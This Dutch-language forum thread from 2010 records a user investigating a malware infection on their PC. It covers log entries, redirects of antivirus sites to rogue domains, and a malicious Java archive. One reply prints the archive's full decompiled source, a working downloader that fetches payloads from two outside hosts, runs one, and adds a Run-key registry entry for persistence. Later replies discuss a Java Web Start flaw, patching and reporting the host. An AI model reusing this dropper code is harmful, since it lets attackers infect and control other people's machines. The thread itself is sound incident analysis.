Besmet! - een onderzoek

[YellowOnline]

Dag Tweakertjes,

Voor het eerst sinds de tijd van Yankee Doodle ben ik getroffen door een virus. Enigszins gezichtsverlies voor mijzelf, maar goed: shit happens. Ik zie virussen normaal gezien vanop 10 kilometer afstand dus ik vermoed dat de besmetting heel recent is.

Als ik m'n logfiles kijk, de meldingen beginnen bij deze lijn:

code:

12/06/2010  14:49:12    Would be blocked by Access Protection rule  (rule is currently not enforced)    W7YELLOW\<mijn naam>    C:\Windows\Explorer.EXE C:\Users\<mijn naam>\AppData\Local\Temp\asaay.exe   Common Standard Protection:Prevent common programs from running files from the Temp folder  Action blocked : Execute

Euh, 14:49? Ik was van 14:00 tot 15:00 AFK. Wat is er gebeurd tijdens mijn lunchpauze? En waarom is er een regel die niet enforced wordt??? In ieder geval is m'n ego enigszins gered: de besmetting is inderdaad héél recent. Eens kijken wie, wat en waar:

Eerst en vooral merk ik dat anti-virus websites bezoeken me redirect. Nochtans: HOSTS is niet herschreven.
Bitdefender stuurt me richting een "Problem loading page" (dit is ook het geval op een niet-besmette machine, dus dit heeft er waarschijnlijk niets mee te maken), McAfee en Norton richting respectievelijk:

code:

http://www1.trytocleanit-45p.co.cc/ en http://scanner-album.com/

(code-tags opdat niemand er zomaar op zou klikken)

M'n PC lijkt wel traag te gaan. Eens kijken:


Ouch. Wat zijn de bronbestanden?


En het register:


Die .jar lijkt mij de bron van alle kwaad dus we gaan daar even dieper op in. In de leesbare stukken code vind ik een redirect naar de volgende URLs:

code:

http://goods.jarro.co.cc
http://11.jampers.co.cc

Die website, onbekend op Google, bestaat echt. Connecteren tracht een bestand te openen:


De inhoud lijkt evenwel identiek te zijn aan die van de .jar.

Wat is nu de zin van mijn TS? Eerst en vooral mijn onderzoek naar een virusbesmetting delen met eventueel geïnteresseerden. Ten tweede hoor ik graag van mijn medetweakers hoe ik besmet kan zijn tijdens mijn afwezigheid en welk virus dit eigenlijk is. Het virus buitengooien lukt me zelf wel, desnoods met een reïnstall (was al gepland, moet enkel nog de drivers in mijn image pompen).

---

Na alles handmatig te cleanen één bestandje in quarantaine gezet en geupload naar http://www.virustotal.com:

[ Voor 5% gewijzigd door YellowOnline op 12-06-2010 15:57 ]

[F.West98]

Om te weten hoe je besmet kan zijn moeten we hier wel weten of de computer aan was, in welke staat hij was.
Als hij uit stond is dit een wonderlijk virus dat je PC aan kan zetten
Als hij aan stond, met internet is dit nogal verklaarbaar, er komen nl. een stuk of 100 aanvallen/dag binnen op een normale computer.
Als hij aan stond, maar zonder internet was dit virus er dus al, en gaat nu pas 'aan'

Verder heb ik weinig verstand van virussen oid, ik heb er zelf nooit 1 gehad, terwijl ik toch maar werk met Windows Firewall en MSE (Microsoft Security Essentials)

[YellowOnline]

F.West98 schreef op zaterdag 12 juni 2010 @ 15:59:
Om te weten hoe je besmet kan zijn moeten we hier wel weten of de computer aan was, in welke staat hij was.
Als hij uit stond is dit een wonderlijk virus dat je PC aan kan zetten
Als hij aan stond, met internet is dit nogal verklaarbaar, er komen nl. een stuk of 100 aanvallen/dag binnen op een normale computer.
Als hij aan stond, maar zonder internet was dit virus er dus al, en gaat nu pas 'aan'

Verder heb ik weinig verstand van virussen oid, ik heb er zelf nooit 1 gehad, terwijl ik toch maar werk met Windows Firewall en MSE (Microsoft Security Essentials)

De PC stond uiteraard aan, een besmetting terwijl hij uit stond zou inderdaad een primeur zijn De gewone tig aantal aanvallen per dag lopen trouwens dood op de firewall van m'n router. Intussen zie ik wel dat het uur van de dll die geladen is dateert van rond 12u, toen ik nog gewoon aan het surfen was. Tot zover ik me herinner heb niets gedownload. En zelfs dan snap ik niet waarom m'n McAfee een exclusion gemaakt heeft

[F.West98]

YellowOnline schreef op zaterdag 12 juni 2010 @ 16:07:
[...]


De PC stond uiteraard aan, een besmetting terwijl hij uit stond zou inderdaad een primeur zijn De gewone tig aantal aanvallen per dag lopen trouwens dood op de firewall van m'n router. Intussen zie ik wel dat het uur van de dll die geladen is dateert van rond 12u, toen ik nog gewoon aan het surfen was. Tot zover ik me herinner heb niets gedownload. En zelfs dan snap ik niet waarom m'n McAfee een exclusion gemaakt heeft

dus dat is mijn laatste optie...
Hij was er al, en op de dll zat een 'tijdbom' die na 3 uur af gaat...

[GraveR]

Voor de volledigheid, de gecompilede jar.dtc:

Java:

package jdownloader;

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintStream;
import java.net.URL;
import java.net.URLConnection;

public class Main
{
  public static void main(String[] args)
    throws InterruptedException
  {
    File tempFile = null;
    Process pr;
    try
    {
      tempFile = File.createTempFile("f.exe", ".exe");
      System.out.print("Created temporary file with name ");
      System.out.println(tempFile.getAbsolutePath());
      String texto = tempFile.getCanonicalPath();
      int contador = 0;
      for (int x = 0; x < texto.length(); ++x) {
        if (texto.charAt(x) == '\\')
          contador = x + 1;
      }
      String texto1 = texto.substring(0, contador);

      URL url = new URL("http://goods.jarro.co.cc");
      URLConnection urlc = url.openConnection();
      InputStream is = urlc.getInputStream();
      FileOutputStream out = new FileOutputStream(texto1 + "n2.jar");

      while ((c = is.read()) != -1)
      {
        int c;
        out.write(c);
      }

      is.close();
      out.close();
      String textoFinal = texto1 + "n2.jar";
      System.out.println("EL FINAL " + textoFinal);

      String comando = "reg add hkcu\\software\\microsoft\\windows\\currentversion\\run /v xxx /t reg_sz /d \"" + textoFinal + "\"" + " /f";
      System.out.println(comando);
      pr = Runtime.getRuntime().exec(comando);
    }
    catch (IOException ex)
    {
      System.err.println("Cannot create temp file: " + ex.getMessage());
    }
    finally {
      if (tempFile == null);
    }

    Process pr;
    try
    {
      tempFile = File.createTempFile("p.exe", ".exe");
      System.out.print("Created temporary file with name ");
      System.out.println(tempFile.getAbsolutePath());
      String texto = tempFile.getCanonicalPath();
      int contador = 0;
      for (int x = 0; x < texto.length(); ++x) {
        if (texto.charAt(x) == '\\') {
          contador = x + 1;
        }
      }
      String texto1 = texto.substring(0, contador);

      URL url = new URL("http://11.jampers.co.cc");
      URLConnection urlc = url.openConnection();
      InputStream is = urlc.getInputStream();
      FileOutputStream out = new FileOutputStream(texto1 + "g.exe");

      while ((c = is.read()) != -1)
      {
        int c;
        out.write(c);
      }

      is.close();
      out.close();
      String textoFinal = texto1 + "g.exe";
      System.out.println("EL FINAL " + textoFinal);

      pr = Runtime.getRuntime().exec("\"" + textoFinal + "\"");
    }
    catch (IOException ex)
    {
      System.err.println("Cannot create temp file: " + ex.getMessage());
    } finally {
      if (tempFile == null);
    }
  }
}

[alt-92]

Heh..
Dat ding maakt wellicht gebruik van de Java web Start vulnerability die Sun niet direct wil fixen omdat ze dan niet hun 3maandelijkse updatecycle kunnen doen
http://www.prevx.com/blog...ilently-owns-the-net.html

[ Voor 20% gewijzigd door alt-92 op 12-06-2010 16:34 ]

[YellowOnline]

GraveR schreef op zaterdag 12 juni 2010 @ 16:27:
(code)

Dankuwel, ik had geen Java-compiler bij de hand maar was wel curieus naar de volledige inhoud.

alt-92 schreef op zaterdag 12 juni 2010 @ 16:30:
Heh..
Dat ding maakt dus gebruik van de Java web Start vulnerability die Sun niet direct wil fixen omdat ze dan niet hun 3maandelijkse updatecycle kunnen doen

Dat is eigenlijk wel triest want ze zeggen dus gebruikersveiligheid < volledig arbitrair stramien Ik kan de kritiekheid hier wel niet helemaal van inschatten natuurlijk. Edit: ow, interessante link voegde je toe!

Het virus is volledig weg intussen, ik had enkel wat moeitje met sshnas21.dll te unregisteren (Sysinternals procexp.exe voor gebruikt uiteindelijk). Ik ben nu nog aan het uitvissen wat het ding precies deed behalve resources vreten. Voorgenoemde dll geeft in ieder geval veel hits op het net. En één van de executables had bij zijn properties enkele keren Achilles staan. Op basis van die informatie zoek ik nog wat op.

Grappig trouwens dat er in de java-source errorhandling voorzien is (Try/Catch)

[ Voor 56% gewijzigd door YellowOnline op 12-06-2010 16:38 ]

[alt-92]

Jup, ook malware schrijvers programmeren netjes. Scheelt resources en minder fouten = minder in het oog lopen.

[serkoon]

Dat er Java wordt gebruikt zegt niks over de manier van infecteren natuurlijk.

Ik zou eens Secunia PSI over je systeem halen en kijken welke software allemaal outdated is. Met name Acrobat Reader en Flash worden veel misbruikt; al is die Java-bug ook een kanshebber natuurlijk. Ik geloof dat er de laatste dagen ook nog bugs in Adobe-software misbruikt worden zonder dat er patches beschikbaar zijn.

Je kunt op allerlei (legitieme) sites aangevallen worden, via banners of via een hack geinjecteerde malware. Er is dus weinig aan te doen, behalve dan gare (Acrobat) software vermijden en dingen als noscript e.d. gebruiken.

[YellowOnline]

serkoon schreef op zaterdag 12 juni 2010 @ 21:32:
Dat er Java wordt gebruikt zegt niks over de manier van infecteren natuurlijk.

Ik zou eens Secunia PSI over je systeem halen en kijken welke software allemaal outdated is. Met name Acrobat Reader en Flash worden veel misbruikt; al is die Java-bug ook een kanshebber natuurlijk. Ik geloof dat er de laatste dagen ook nog bugs in Adobe-software misbruikt worden zonder dat er patches beschikbaar zijn.

Je kunt op allerlei (legitieme) sites aangevallen worden, via banners of via een hack geinjecteerde malware. Er is dus weinig aan te doen, behalve dan gare (Acrobat) software vermijden en dingen als noscript e.d. gebruiken.

M'n software is up to date, dat weet ik gelukkig zeker. Ik gebruik geen NoScript meer tegenwoordig, maar ik heb nog nooit een probleem uit die hoek gehad (nou ja, ik heb zoals gezegd dit probleem in geen jaren zelf gehad ). Hypothese: de infectie dateert van eerder, bij het downloaden van een of andere geïnfecteerde self-extracting .rar van Usenet. Dat gebeurt best vaak en zelden of nooit onverwacht. Ik sla er zelfs geen aandacht meer op omdat de extraction altijd doorgaat en McAfee de boel mooi filtert. Om een of andere reden is dat eens fout gegaan en het virus schiet pas met enkele dagen vertraging of zo in gang. Dat verklaart wel nog niet waarom de $_.CreationDate en $_.CreationTime pas vandaag zijn.

Hoe dan ook: ik heb de hoster (Awardspace) een mailtje gestuurd zodat het adres binnenkort down is.